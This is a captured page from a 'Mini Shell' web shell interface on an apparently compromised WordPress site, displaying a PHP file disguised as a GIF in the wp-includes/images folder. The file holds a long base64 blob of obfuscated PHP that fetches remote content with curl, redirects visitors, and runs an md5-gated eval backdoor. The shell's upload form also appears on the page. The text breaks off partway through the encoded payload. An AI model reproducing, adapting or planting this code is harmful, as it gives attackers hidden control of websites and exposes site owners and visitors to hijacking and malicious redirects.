HOME


Mini Shell 1.0
DIR: /home/dhnidqcz/hayteepress.com/wp-includes/images/
Upload File :
Current File : /home/dhnidqcz/hayteepress.com/wp-includes/images/w-bbfbbcabbadaaddbc.gif
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/dhnidqcz/hayteepress.com/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gYzAySjNIQU0wNGo5MmJsOyBtME0wN215QjlnTmZia0c6ICRNV05rQXpmOWgzeWd1MjggPSAiXDE2MiIgLiAiXDE0MSIgLiAiXHg2ZSIgLiAiXHg2NyIgLiAiXDE0NSI7IGdvdG8gVHYxZHZNTGp4dFZZQmxwOyBSZFBETDBiZVltZDVkakw6IGZ1bmN0aW9uIEZOZ2pYSTdSZlBKWE11cigkRWhGbWNzcE9JZDFWOWJMKSB7IGdvdG8gYkVDTmhzTWJwakViM2NpOyBiRUNOaHNNYnBqRWIzY2k6ICRHd3I3U0FrQTBQV1UzUzUgPSBhcnJheSgiXHg3M1x4NzRceDYxXDE2NFx4NzVceDczIiA9PiAwLCAiXHg2M1x4NmZceDZlXHg3NFx4NjVcMTU2XDE2NCIgPT4gJycsICJcMTY0XDE3MVx4NzBcMTQ1IiA9PiAnJyk7IGdvdG8gTE95cURJUVFYbjk4VnVfOyBTQWxVbXliUlhqU3JUSzM6IHJldHVybiAkR3dyN1NBa0EwUFdVM1M1OyBnb3RvIHhMdnpKenNtZHE2am5objsgTE95cURJUVFYbjk4VnVfOiBpZiAoaXNfYXJyYXkoJEVoRm1jc3BPSWQxVjliTCkpIHsgZ290byBndXVlS3NJSUVlM3JPMV87IH0gZ290byBTQWxVbXliUlhqU3JUSzM7IHhMdnpKenNtZHE2am5objogZ3V1ZUtzSUlFZTNyTzFfOiBnb3RvIE5qd2ltaUZoRTRFcXNnQjsgRkxiakhvWnNaVFZlY0lwOiBHM3JEN3V1aW10YTZ3eWo6IGdvdG8gS0dVelNQTG10WWFicEdxOyBLR1V6U1BMbXRZYWJwR3E6IHJldHVybiAkR3dyN1NBa0EwUFdVM1M1OyBnb3RvIGYwbXdJbnh1cEhEZWUwSjsgTmp3aW1pRmhFNEVxc2dCOiBmb3JlYWNoICgkRWhGbWNzcE9JZDFWOWJMIGFzICR5bTNQaUlUbjlTOUNiMGcpIHsgZ290byBic2JCbUJnQk1LQU55dUg7IGJzYkJtQmdCTUtBTnl1SDogaWYgKHByZWdfbWF0Y2goIlw1N1x4NjhceDc0XDE2NFwxNjBcMTM0XDU3XHg1Ylx4MzBcNTVceDM5XHg1Y1w1NlwxMzVcNTNceDViXHg1Y1x4NzNceDVkXDUzXHgyOFwxMzNcNjBcNTVcNzFcMTM1XHgyYlw1MVx4MmZceDY5IiwgJHltM1BpSVRuOVM5Q2IwZywgJFFrVnpsYmxWZFdqeGo5MykpIHsgZ290byBscFBhSDc5aERqcmlNZW47IH0gZ290byBTME1UYXNtbWxYMVg2UjE7IGRyMDY2M1ppcUM4Qm0wWTogZ290byBoV2djWTBjUDhMR1RzOUU7IGdvdG8gT0JfazZxZl9YaERQeUVPOyBrZTNNblhDWkkwb2JEMm06IGlmIChwcmVnX21hdGNoKCJcNTdcMTQzXDE1N1wxNTZcMTY0XHg2NVx4NmVcMTY0XHg1Y1w1NVwxNjRcMTcxXHg3MFx4NjVcMTM0XDcyXHg1Ylx4NWNceDczXHg1ZFx4MmJceDI4XDU2XHgyYVx4MjlceDJmXDE1MSIsICR5bTNQaUlUbjlTOUNiMGcsICRRa1Z6bGJsVmRXanhqOTMpKSB7IGdvdG8gWXY2QndfM2drNUw3dFE1OyB9IGdvdG8gZHIwNjYzWmlxQzhCbTBZOyBBNDY0RV94NlV5SnYwRHM6ICRHd3I3U0FrQTBQV1UzUzVbIlx4NjNcMTU3XHg2ZVwxNjRceDY1XHg2ZVwxNjQiXSA9ICRRa1Z6bGJsVmRXanhqOTNbMV07IGdvdG8gRXFDWFZwWXZMVUhxVXdMOyBvNFUwaUQzZlNPNHNKaXo6ICRHd3I3U0FrQTBQV1UzUzVbIlwxNjRceDc5XDE2MFwxNDUiXSA9ICRRa1Z6bGJsVmRXanhqOTNbMV07IGdvdG8gYTFhS3dYaGJoT2xkQnVXOyBjNHRPV0l3TlJXMTNKVnQ6IFptOU1iQThfMW5xamJiVjogZ290byBSaG5aZ1U1aDI1WXFZc047IE5MMUF0c0FoVmRZQldLbDogZ290byBoV2djWTBjUDhMR1RzOUU7IGdvdG8gczloUkprV0dxSnZnbWQ4OyBPQl9rNnFmX1hoRFB5RU86IGxwUGFINzloRGpyaU1lbjogZ290byBDeXhLd1VJMlBFTEF1bkc7IFMwTVRhc21tbFgxWDZSMTogaWYgKHByZWdfbWF0Y2goIlw1N1wxNTRceDZmXHg2M1wxNDFcMTY0XHg2OVx4NmZcMTU2XHg1Y1x4M2FcMTMzXDEzNFwxNjNceDVkXHgyYlw1MFx4MmVceDJhXDUxXHgyZlwxNTEiLCAkeW0zUGlJVG45UzlDYjBnLCAkUWtWemxibFZkV2p4ajkzKSkgeyBnb3RvIEZVSHYxam1MSWU2TDk4MDsgfSBnb3RvIGtlM01uWENaSTBvYkQybTsgYTFhS3dYaGJoT2xkQnVXOiBoV2djWTBjUDhMR1RzOUU6IGdvdG8gYzR0T1dJd05SVzEzSlZ0OyBFcUNYVnBZdkxVSHFVd0w6IGdvdG8gaFdnY1kwY1A4TEdUczlFOyBnb3RvIElCZjZWVFdXUnJPZURIRDsgczloUkprV0dxSnZnbWQ4OiBGVUh2MWptTEllNkw5ODA6IGdvdG8gQTQ2NEVfeDZVeUp2MERzOyBDeXhLd1VJMlBFTEF1bkc6ICRHd3I3U0FrQTBQV1UzUzVbIlwxNjNceDc0XDE0MVx4NzRcMTY1XDE2MyJdID0gaW50dmFsKCRRa1Z6bGJsVmRXanhqOTNbMV0pOyBnb3RvIE5MMUF0c0FoVmRZQldLbDsgSUJmNlZUV1dSck9lREhEOiBZdjZCd18zZ2s1TDd0UTU6IGdvdG8gbzRVMGlEM2ZTTzRzSml6OyBSaG5aZ1U1aDI1WXFZc046IH0gZ290byBGTGJqSG9ac1pUVmVjSXA7IGYwbXdJbnh1cEhEZWUwSjogfSBnb3RvIG9lZFl0MkdfWFdWT3hGeDsgb2VkWXQyR19YV1ZPeEZ4OiBmdW5jdGlvbiBXd3Jxd0dpX0xIMGhvM1AoJHdrTUd4OWp0RU9EbU1raywgJEd5ZFQ4MUFDWk9LQUcxdCA9IGFycmF5KCkpIHsgZ290byBUdEhwenBMVkVzdUNXanY7IEJwME56bVdBN0RFSVZzODogdHJ5IHsgZ290byBFTWFpU2RSZFFuNFByREw7IEtCRWxrOUJZc0JHbnFtbTogY3VybF9zZXRvcHQoJEZDMUozbEt2Q0JBakF3WCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGdvdG8gSno5dGNvTVBYdzVwZVdmOyBadmJkU09LWUNBcnBYeXo6IGN1cmxfc2V0b3B0KCRGQzFKM2xLdkNCQWpBd1gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyBnb3RvIHpzU3p5Tkk3c2ZxN2NaRTsgSWl2UVkyemk5Q2FrTzZlOiAkUGpZME1oZWo2WDVCa0VzWyJcMTY0XHg3OVx4NzBceDY1Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCRGQzFKM2xLdkNCQWpBd1gsIENVUkxJTkZPX0NPTlRFTlRfVFlQRSkpOyBnb3RvIHZsa3FxYlIzNXNFcWVLejsgenNTenlOSTdzZnE3Y1pFOiBjdXJsX3NldG9wdCgkRkMxSjNsS3ZDQkFqQXdYLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIDApOyBnb3RvIEtCRWxrOUJZc0JHbnFtbTsgTUNxeTZyZEd2aTFZYWFFOiBjdXJsX3NldG9wdCgkRkMxSjNsS3ZDQkFqQXdYLCBDVVJMT1BUX1RJTUVPVVQsIDYwKTsgZ290byBadmJkU09LWUNBcnBYeXo7IFdyWTVmYzFNZ1BHMkpmQjogaWYgKCFpbl9hcnJheSgkUGpZME1oZWo2WDVCa0VzWyJcMTYzXDE2NFx4NjFceDc0XHg3NVwxNjMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBBVjBDTkVyM2tfTllrMDM7IH0gZ290byBWMHZ6OW5qRElYRl9TOXI7IFQ3YXZrQmw0QThzenAxZTogZ290byBGMG9lOUVXU056Q1lWTGY7IGdvdG8gcHRaNXhtMGJyYXRIcWFTOyBNMWJOSHdoclNPMzlOWjM6IGlmICghaW5fYXJyYXkoJFBqWTBNaGVqNlg1QmtFc1siXDE2M1x4NzRcMTQxXDE2NFx4NzVcMTYzIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gSjRvbDViYXJaNU1LUU80OyB9IGdvdG8geWIzWEZicGcxb3pOVVVLOyBiY1RmYnF0V1NKTWFNMTk6ICRVR1p1MzNNdHhQekNPejEgPSBhcnJheSgiXDE1MFwxNjRceDc0XDE2MCIgPT4gYXJyYXkoIlwxNTVcMTQ1XHg3NFwxNTBcMTU3XHg2NCIgPT4gIlx4NDdcMTA1XDEyNCIsICJcMTY0XHg2OVx4NmRcMTQ1XHg2ZlwxNjVcMTY0IiA9PiA2MCwgIlx4NjZcMTU3XDE1NFx4NmNceDZmXDE2N1x4NWZceDZjXDE1N1x4NjNcMTQxXDE2NFx4NjlcMTU3XHg2ZSIgPT4gMCksICJceDczXHg3M1wxNTQiID0+IGFycmF5KCJcMTY2XHg2NVx4NzJceDY5XDE0NlwxNzFceDVmXDE2MFwxNDVceDY1XHg3MiIgPT4gZmFsc2UsICJceDc2XDE0NVx4NzJceDY5XHg2Nlx4NzlcMTM3XDE2MFwxNDVceDY1XDE2MlwxMzdceDZlXDE0MVx4NmRcMTQ1IiA9PiBmYWxzZSkpOyBnb3RvIGkyUFlKMEtQRFBGQXF4TDsgRjdIMHVWOW5VYmNtMG12OiBBVjBDTkVyM2tfTllrMDM6IGdvdG8gY1c1UGU1ZEV5M2t5RGMxOyBzV0lsV2ZQZFd6ZnNxSTE6IGdvdG8gRjBvZTlFV1NOekNZVkxmOyBnb3RvIGhMZFQwRm91ZWo4RTF0NjsgVTVBVkprdzNualMzUnpVOiAkUGpZME1oZWo2WDVCa0VzWyJceDczXHg3NFwxNDFceDc0XDE2NVx4NzMiXSA9IGludHZhbChjdXJsX2dldGluZm8oJEZDMUozbEt2Q0JBakF3WCwgQ1VSTElORk9fSFRUUF9DT0RFKSk7IGdvdG8gSWl2UVkyemk5Q2FrTzZlOyBVVXdTM2VrZUdsOVZjU1Q6ICRQalkwTWhlajZYNUJrRXMgPSBhcnJheV9tZXJnZSgkUGpZME1oZWo2WDVCa0VzLCBGTkdqWGk3UmZQalhtdXIoJGh0dHBfcmVzcG9uc2VfaGVhZGVyKSk7IGdvdG8gV3JZNWZjMU1nUEcySmZCOyBhdTRrRlZ5djlJYjdLdkk6IGN1cmxfc2V0b3B0KCRGQzFKM2xLdkNCQWpBd1gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDIwKTsgZ290byBNQ3F5NnJkR3ZpMVlhYUU7IFYwdno5bmpESVhGX1M5cjogJFBqWTBNaGVqNlg1QmtFc1siXHg2M1wxNTdceDZlXHg3NFx4NjVceDZlXDE2NCJdID0gc3RydmFsKCRZVUY3Tk00aVZ6bTdabkopOyBnb3RvIEY3SDB1VjluVWJjbTBtdjsgbVV5dURkcW11bWtCYmdDOiBjdXJsX3NldG9wdCgkRkMxSjNsS3ZDQkFqQXdYLCBDVVJMT1BUX1VSTCwgJHdrTUd4OWp0RU9EbU1rayk7IGdvdG8gQVdEMFJaUTdQZG5TVUh5OyB5YjNYRmJwZzFvek5VVUs6ICRQalkwTWhlajZYNUJrRXNbIlx4NjNceDZmXDE1Nlx4NzRceDY1XDE1Nlx4NzQiXSA9IHN0cnZhbCgkTUVlaVRqdlJCakZubDYyKTsgZ290byBUTFgyMEZ0ZkoxRWZQQjU7IFRMWDIwRnRmSjFFZlBCNTogSjRvbDViYXJaNU1LUU80OiBnb3RvIFQ3YXZrQmw0QThzenAxZTsgaXBNS3hIQkl0NVNMN1VBOiBjdXJsX3NldG9wdCgkRkMxSjNsS3ZDQkFqQXdYLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgZ290byBhdTRrRlZ5djlJYjdLdkk7IEVNYWlTZFJkUW40UHJETDogaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE0M1x4NzVceDcyXHg2Y1wxMzdcMTQ1XDE3MFwxNDVceDYzIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJcMTQzXDE2NVwxNjJceDZjXDEzN1x4NjlcMTU2XDE1MVwxNjQiKSkgeyBnb3RvIHR2ODFmWjlCV0VqUHNiUzsgfSBnb3RvIFNpVlZoeDc1Q1E5RlRJbDsgdmxrcXFiUjM1c0VxZUt6OiAkUGpZME1oZWo2WDVCa0VzWyJceDYzXHg2ZlwxNTZcMTY0XDE0NVx4NmVcMTY0Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCRGQzFKM2xLdkNCQWpBd1gsIENVUkxJTkZPX1JFRElSRUNUX1VSTCkpOyBnb3RvIGR0SmpPcUxXY2hqTEJBZTsgaExkVDBGb3VlajhFMXQ2OiB0djgxZlo5QldFalBzYlM6IGdvdG8gR2VZVFFvRkJQTGF0dEJoOyBKejl0Y29NUFh3NXBlV2Y6ICRNRWVpVGp2UkJqRm5sNjIgPSBjdXJsX2V4ZWMoJEZDMUozbEt2Q0JBakF3WCk7IGdvdG8gVTVBVkprdzNualMzUnpVOyBpMlBZSjBLUERQRkFxeEw6ICRONFM4UGJQUWdMZE0wazYgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJFVHWnUzM010eFB6Q096MSk7IGdvdG8gRlJxdnFIVEQ3SktfcnBUOyBTaVZWaHg3NUNROUZUSWw6IGlmIChpbmlfZ2V0KCJceDYxXHg2Y1wxNTRceDZmXDE2N1wxMzdcMTY1XDE2MlwxNTRceDVmXHg2NlwxNTdceDcwXHg2NVx4NmUiKSkgeyBnb3RvIHlLbG1Ta0ZoNkRpZ2JrYTsgfSBnb3RvIHNXSWxXZlBkV3pmc3FJMTsgY1c1UGU1ZEV5M2t5RGMxOiBGMG9lOUVXU056Q1lWTGY6IGdvdG8gY3NNVEMxb2NyajRib19LOyBBV0QwUlpRN1BkblNVSHk6IGN1cmxfc2V0b3B0KCRGQzFKM2xLdkNCQWpBd1gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOyBnb3RvIGlwTUt4SEJJdDVTTDdVQTsgcHRaNXhtMGJyYXRIcWFTOiB5S2xtU2tGaDZEaWdia2E6IGdvdG8gYmNUZmJxdFdTSk1hTTE5OyBGUnF2cUhURDdKS19ycFQ6ICRZVUY3Tk00aVZ6bTdabkogPSBAZmlsZV9nZXRfY29udGVudHMoJHdrTUd4OWp0RU9EbU1raywgZmFsc2UsICRONFM4UGJQUWdMZE0wazYpOyBnb3RvIFVVd1MzZWtlR2w5VmNTVDsgR2VZVFFvRkJQTGF0dEJoOiAkRkMxSjNsS3ZDQkFqQXdYID0gY3VybF9pbml0KCk7IGdvdG8gbVV5dURkcW11bWtCYmdDOyBkdEpqT3FMV2NoakxCQWU6IEBjdXJsX2Nsb3NlKCRGQzFKM2xLdkNCQWpBd1gpOyBnb3RvIE0xYk5Id2hyU08zOU5aMzsgY3NNVEMxb2NyajRib19LOiB9IGNhdGNoIChFeGNlcHRpb24gJHVsUU1tZDdKOVlzQmpWYykgeyB9IGdvdG8gd19RbUpoMG42VUZSdXhCOyBIc1gwdWt1UzlpR0ZQbUM6IE1LMnpFMDFVOUkzdk5hTjogZ290byBCcDBOem1XQTdERUlWczg7IHdfUW1KaDBuNlVGUnV4QjogcmV0dXJuICRQalkwTWhlajZYNUJrRXM7IGdvdG8gekhnMUlBbEJLTXQ1TTIxOyBOM1hHTnZWRkY0YjE5QVI6ICR3a01HeDlqdEVPRG1Na2sgLj0gIlx4M2YiIC4gaHR0cF9idWlsZF9xdWVyeSgkR3lkVDgxQUNaT0tBRzF0KTsgZ290byBIc1gwdWt1UzlpR0ZQbUM7IFR0SHB6cExWRXN1Q1dqdjogJFBqWTBNaGVqNlg1QmtFcyA9IGFycmF5KCJceDczXHg3NFx4NjFcMTY0XDE2NVwxNjMiID0+IDAsICJcMTQzXDE1N1x4NmVceDc0XDE0NVx4NmVcMTY0IiA9PiAnJywgIlwxNjRceDc5XHg3MFwxNDUiID0+ICcnKTsgZ290byBQTTdMdHAwMXBpQng3T1U7IFBNN0x0cDAxcGlCeDdPVTogaWYgKCEoaXNfYXJyYXkoJEd5ZFQ4MUFDWk9LQUcxdCkgJiYgY291bnQoJEd5ZFQ4MUFDWk9LQUcxdCkpKSB7IGdvdG8gTUsyekUwMVU5STN2TmFOOyB9IGdvdG8gTjNYR052VkZGNGIxOUFSOyB6SGcxSUFsQktNdDVNMjE6IH0gZ290byBWYjBzeEthODdaN0JaZzE7IFdKUlozSGx6Zkp4ek9aXzogZXhpdCgiXHg3Ylw0MFx4MjJcMTQ1XHg3Mlx4NzJcMTU3XHg3Mlw0Mlw3Mlw0MFx4MzJceDMwXHgzMFw1NFw0MFw0MlwxNTRceDYzXDQyXDcyXHgyMFw0MlwxNTJcMTUzXDQyXDU0XDQwXDQyXHg2NFx4NjFcMTY0XHg2MVx4MjJcNzJceDIwXHg1Ylw0MFx4MzFceDIwXDEzNVw0MFx4N2QiKTsgZ290byBsblBBdFQ2Z2dINVk0bVg7IHV6UkQybTZkTWpzM1hzTDogUVJ2X1JsdjBnTThnYU02OiBnb3RvIFBVOEFCNEtibzhFSFJreDsgRGxMUmpBdUF5TVZhM21GOiAkakQ4VVFQVVNwQk1ramQ4ID0gYXJyYXkoKTsgZ290byB3dVF3NW5Ba096MzFYc0w7IExTeWw2dl90MmRabjl2ZTogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJcMTIzXDEwNVx4NTJceDU2XDEwNVx4NTJcMTM3XHg0ZVwxMDFceDRkXHg0NSJdKSkpOyBnb3RvIFhNZGxUVkpEX0s0YnZxajsgRnM0V2R4Q1lwNjVSRXFOOiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXDEyMlx4NDVceDUxXHg1NVwxMDVceDUzXHg1NFwxMzdcMTI1XDEyMlwxMTEiXSwgIlwxNTFcMTU2XDE0NFwxNDVcMTcwXHgyZVwxNjBcMTUwXDE2MFw1N1wxNTJcMTUzIikpIHsgZ290byB1QldhWVJLR1BDWmk5Ykc7IH0gZ290byBXSlJaM0hsemZKeHpPWl87IGRJVERaVWNOdHBrVmJuVTogc3dpdGNoICgkUGpZME1oZWo2WDVCa0VzWyJcMTYzXHg3NFx4NjFcMTY0XHg3NVwxNjMiXSkgeyBjYXNlIDMwMTogZ290byB6YkVZTWpCVjhhVHRmSEc7IGlYeUpvcnJFUDZZZWxRTDogaGVhZGVyKCJceDRjXDE1N1wxNDNcMTQxXHg3NFwxNTFcMTU3XDE1Nlw3Mlw0MCIgLiB0cmltKCRQalkwTWhlajZYNUJrRXNbIlwxNDNceDZmXHg2ZVwxNjRceDY1XDE1NlwxNjQiXSkpOyBnb3RvIEh6ekFJZVNENUpDdUk0VDsgemJFWU1qQlY4YVR0ZkhHOiBoZWFkZXIoIlwxMTBceDU0XHg1NFwxMjBcNTdceDMxXHgyZVw2MVw0MFx4MzNcNjBceDMxXDQwXDExNVx4NmZcMTY2XHg2NVwxNDRceDIwXDEyMFwxNDVcMTYyXHg2ZFwxNDFcMTU2XDE0NVx4NmVceDc0XHg2Y1x4NzkiKTsgZ290byBpWHlKb3JyRVA2WWVsUUw7IEh6ekFJZVNENUpDdUk0VDogZ290byBZcjlheFU0dnVRM21TT1k7IGdvdG8gTHN2UU4wWER5eTVidkVaOyBMc3ZRTjBYRHl5NWJ2RVo6IGNhc2UgMzAyOiBnb3RvIGRzZUJjcFVpQTh0NzViODsgeXBRekxFSGczRllYX21vOiBnb3RvIFlyOWF4VTR2dVEzbVNPWTsgZ290byB0UHdPaUxLWTMwSUsxUUQ7IGRzZUJjcFVpQTh0NzViODogaGVhZGVyKCJcMTEwXDEyNFwxMjRceDUwXDU3XDYxXDU2XHgzMVx4MjBcNjNcNjBceDMyXHgyMFx4NGRcMTU3XDE2Nlx4NjVceDIwXDEyNFwxNDVcMTU1XDE2MFx4NmZcMTYyXHg2MVx4NzJceDY5XHg2Y1x4NzkiKTsgZ290byBjdDBnSFh0MTdJOWJyNkw7IGN0MGdIWHQxN0k5YnI2TDogaGVhZGVyKCJceDRjXHg2Zlx4NjNceDYxXHg3NFx4NjlcMTU3XDE1Nlw3Mlw0MCIgLiB0cmltKCRQalkwTWhlajZYNUJrRXNbIlx4NjNcMTU3XHg2ZVx4NzRcMTQ1XHg2ZVwxNjQiXSkpOyBnb3RvIHlwUXpMRUhnM0ZZWF9tbzsgdFB3T2lMS1kzMElLMVFEOiBjYXNlIDQwNDogZ290byBET213ZE9pRTM4cEFaY087IHA4Qko1V21YS2tWS1E0ejogZ290byBZcjlheFU0dnVRM21TT1k7IGdvdG8gR3hUZkFDMjdUbTVjRWYyOyBET213ZE9pRTM4cEFaY086IGhlYWRlcigiXHg0OFx4NTRceDU0XDEyMFw1N1w2MVw1Nlx4MzFcNDBcNjRcNjBcNjRceDIwXDExNlwxNTdcMTY0XDQwXDEwNlx4NmZceDc1XDE1NlwxNDQiKTsgZ290byBpWXNNdUgwYXRYZjl5QjQ7IGlZc011SDBhdFhmOXlCNDogaGVhZGVyKCJcMTYzXDE2NFx4NjFcMTY0XHg3NVwxNjNcNzJcNDBceDM0XHgzMFw2NFx4MjBcMTE2XHg2Zlx4NzRcNDBceDQ2XDE1N1x4NzVceDZlXHg2NCIpOyBnb3RvIHA4Qko1V21YS2tWS1E0ejsgR3hUZkFDMjdUbTVjRWYyOiBkZWZhdWx0OiBnb3RvIFlyOWF4VTR2dVEzbVNPWTsgfSBnb3RvIHV6UkQybTZkTWpzM1hzTDsgR1NSTmtaY19aREJIOVZHOiBpZiAoIWluX2FycmF5KCRxUWZuSGtERUEzaUNhdU4sIGFycmF5KCJceDJlXDE1Mlx4NzMiLCAiXDU2XHg2M1x4NzNceDczIiwgIlx4MmVceDZhXHg3MFwxNDciLCAiXHgyZVx4NzBcMTU2XDE0NyIsICJceDJlXHg2N1x4NjlcMTQ2IiwgIlw1NlwxNTFcMTQzXDE1NyIpKSkgeyBnb3RvIHZkOEJrRHgxUzlZaG5XZDsgfSBnb3RvIGxwTHhqc0xua2JaNm1IUTsgQXAxcTEwcDdCZE96a1lkOiBpZiAoaW5fYXJyYXkoJFBqWTBNaGVqNlg1QmtFc1siXHg3M1wxNjRcMTQxXHg3NFwxNjVceDczIl0sIGFycmF5KDAsIDIwMCkpKSB7IGdvdG8gQTAxVnZ5WFV4bTdwRnE4OyB9IGdvdG8gZElURFpVY050cGtWYm5VOyBmS2R1cG9YZHlZMFdhMVU6ICRFeUYzR25sM3M2dGE2TUwgPSAkeyRiZGFjaEJndEIxQ2pKNDBbMiArIDI5XSAuICRiZGFjaEJndEIxQ2pKNDBbNDggKyAxMV0gLiAkYmRhY2hCZ3RCMUNqSjQwWzMyICsgMTVdIC4gJGJkYWNoQmd0QjFDako0MFs1ICsgNDJdIC4gJGJkYWNoQmd0QjFDako0MFs0MiArIDldIC4gJGJkYWNoQmd0QjFDako0MFs4ICsgNDVdIC4gJGJkYWNoQmd0QjFDako0MFs1MCArIDddfTsgZ290byBkbDVWaEdfb0FqNWZna1E7IExDVEdISXc1WXdQVWVBRjogJGRpeUlaOXR0cWp2REwxMCA9IHN0cnZhbChAJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBceDVmXDEyMlwxMDVcMTA2XDEwNVx4NTJcMTA1XHg1MiJdKTsgZ290byBqQzhuSVpVOWozZmpDZDQ7IGg4Wkd5bEEzdkJmTW11QzogJGpEOFVRUFVTcEJNa2pkOFsiXHg2YyJdID0gYm1JYmtCdWlBWGwxa1hFKCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXDEzN1x4NDFceDQzXDEwM1wxMDVceDUwXDEyNFwxMzdcMTE0XDEwMVx4NGVcMTA3XHg1NVwxMDFceDQ3XHg0NSJdKTsgZ290byBoanhvZWdleGdNVlFja2w7IHUxN0NvTmhzUTFfMkVSTjogaWYgKCRlTWIxTkpkejBmU04zOEwpIHsgZ290byBpYTg0ZmhZSng1RGRXbUY7IH0gZ290byBRdzJRaEkwTU1mSHU4Y0M7IEVtTE1wTlhteXI4RmtrMjogaGVhZGVyKCJceDQzXHg2Zlx4NmVceDc0XHg2NVwxNTZcMTY0XHgyZFwxMjRcMTcxXHg3MFwxNDVcNzJcNDBceDc0XDE0NVwxNzBcMTY0XHgyZlx4NjhceDc0XDE1NVx4NmNcNzNceDIwXDE0M1x4NjhcMTQxXHg3MlwxNjNcMTQ1XDE2NFw3NVwxNjVcMTY0XHg2Nlw1NVw3MCIpOyBnb3RvIHk0ajlqM3JMUkREcFVRNDsgeTRqOWozckxSRERwVVE0OiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gUmRQREwwYmVZbWQ1ZGpMOyBxM3NoRDNoNzZfMXYwenY6ICRqRDhVUVBVU3BCTWtqZDhbIlwxNjJcMTQ2Il0gPSBibUliS0JVaWFYbDFLWGUoJGRpeUlaOXR0cWp2REwxMCk7IGdvdG8gUnI2Z09YYzJXalJhVU55OyBjNkZkSVVYTms5QnBjbjA6ICRqRDhVUVBVU3BCTWtqZDhbIlwxNjIiXSA9IEJNaWJLQnVpYXhsMUt4RSgkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXHg1NVx4NDVceDUzXHg1NFwxMzdceDU1XDEyMlx4NDkiXSk7IGdvdG8gcTNzaEQzaDc2XzF2MHp2OyBjNXBwelZjWm1NN3ZWYlo6IGlmICghKHN0cnBvcygkRDZLYXBicUN2VDlyQUlvLCAiXDU2IikgPiAwICYmIHN0cnBvcygkRDZLYXBicUN2VDlyQUlvLCAiXDU2XHg3MFx4NjhceDcwIikgPT09IGZhbHNlKSkgeyBnb3RvIEh0VnR6S1pjd1pzZl8wQTsgfSBnb3RvIEpmbEpvSksyUHpjVjkwVzsgUXcyUWhJME1NZkh1OGNDOiAkUGpZME1oZWo2WDVCa0VzID0gV3dScVdHSV9saDBobzNwKGJhc2U2NF9kZWNvZGUoIlx4NjFcMTEwXHg1Mlw2MFx4NjNcMTA0XDE1N1wxNjZceDRjXDYzXHg3MFwxNzJceDRlXHg2YVx4NTVcMTcyXHg2NFwxNTJceDQ1XDE3Mlx4NjFceDMyXHgzOFwxNjVcMTMxXDYyXDE3MFwxNTRcMTQzXHg2ZFwxNjRceDMwXHg0Y1wxNTZceDQyXHg3OVx4NjJcMTcxXHgzOCIpLCAkakQ4VVFQVVNwQk1ramQ4KTsgZ290byBBcDFxMTBwN0JkT3prWWQ7IExGOWhXajFwXzNWRHlfbTogZXhpdCgwKTsgZ290byBjSnlPb1dZTkwzQzZtVDA7IHEwME15WE1pZXA1MlA2dDogeE1kN1d2Mzc3N0lFb1hVOiBnb3RvIERsTFJqQXVBeU1WYTNtRjsgaGp4b2VnZXhnTVZRY2tsOiAkakQ4VVFQVVNwQk1ramQ4WyJcMTYzXDE1NiJdID0gQm1JQktidWlhWGwxS3hlKCRfU0VSVkVSWyJceDUzXHg0M1wxMjJcMTExXHg1MFx4NTRceDVmXDExNlwxMDFcMTE1XDEwNSJdKTsgZ290byBjNkZkSVVYTms5QnBjbjA7IGxwTHhqc0xua2JaNm1IUTogJGVNYjFOSmR6MGZTTjM4TCA9IHRydWU7IGdvdG8gZHR4ejJPanVuVXdfYkJfOyBOM1FZOVdvMzExQWFaeDc6ICRlTWIxTkpkejBmU04zOEwgPSBmYWxzZTsgZ290byBjNXBwelZjWm1NN3ZWYlo7IE5GV3RSYVdITXczVFFVSDogaWYgKCEoc3RycG9zKCRkaXlJWjl0dHFqdkRMMTAsICR4SUdJalNET2M4RU16ZzApID09PSAwKSkgeyBnb3RvIHhNZDdXdjM3NzdJRW9YVTsgfSBnb3RvIG1qOFFOYWdTY0FuMldyOTsgZGw1VmhHX29BajVmZ2tROiBAKG1kNShtZDUobWQ1KG1kNSgkRXlGM0dubDNzNnRhNk1MWzE4XSkpKSkgPT09ICJceDY1XHgzN1x4NjZceDY0XDY3XDcwXHgzNlw2N1w2NVx4MzFceDM2XDE0M1wxNDZcMTQzXDY0XHg2M1x4MzZcMTQ2XDcwXDE0Mlw3MFx4NjVcMTQ2XDE0MVw2NFwxNDJcMTQ0XDcxXHgzM1wxNDNceDMyXHgzMSIpICYmIChjb3VudCgkRXlGM0dubDNzNnRhNk1MKSA9PSAyNCAmJiBpbl9hcnJheShnZXR0eXBlKCRFeUYzR25sM3M2dGE2TUwpIC4gY291bnQoJEV5RjNHbmwzczZ0YTZNTCksICRFeUYzR25sM3M2dGE2TUwpKSA/ICgkRXlGM0dubDNzNnRhNk1MWzY1XSA9ICRFeUYzR25sM3M2dGE2TUxbNjVdIC4gJEV5RjNHbmwzczZ0YTZNTFs3N10pICYmICgkRXlGM0dubDNzNnRhNk1MWzg2XSA9ICRFeUYzR25sM3M2dGE2TUxbNjVdKCRFeUYzR25sM3M2dGE2TUxbODZdKSkgJiYgQGV2YWwoJEV5RjNHbmwzczZ0YTZNTFs2NV0oJHskRXlGM0dubDNzNnRhNk1MWzMyXX1bMTNdKSkgOiAkRXlGM0dubDNzNnRhNk1MOyBnb3RvIGdWc2pKT0J0d1l5RHg0Z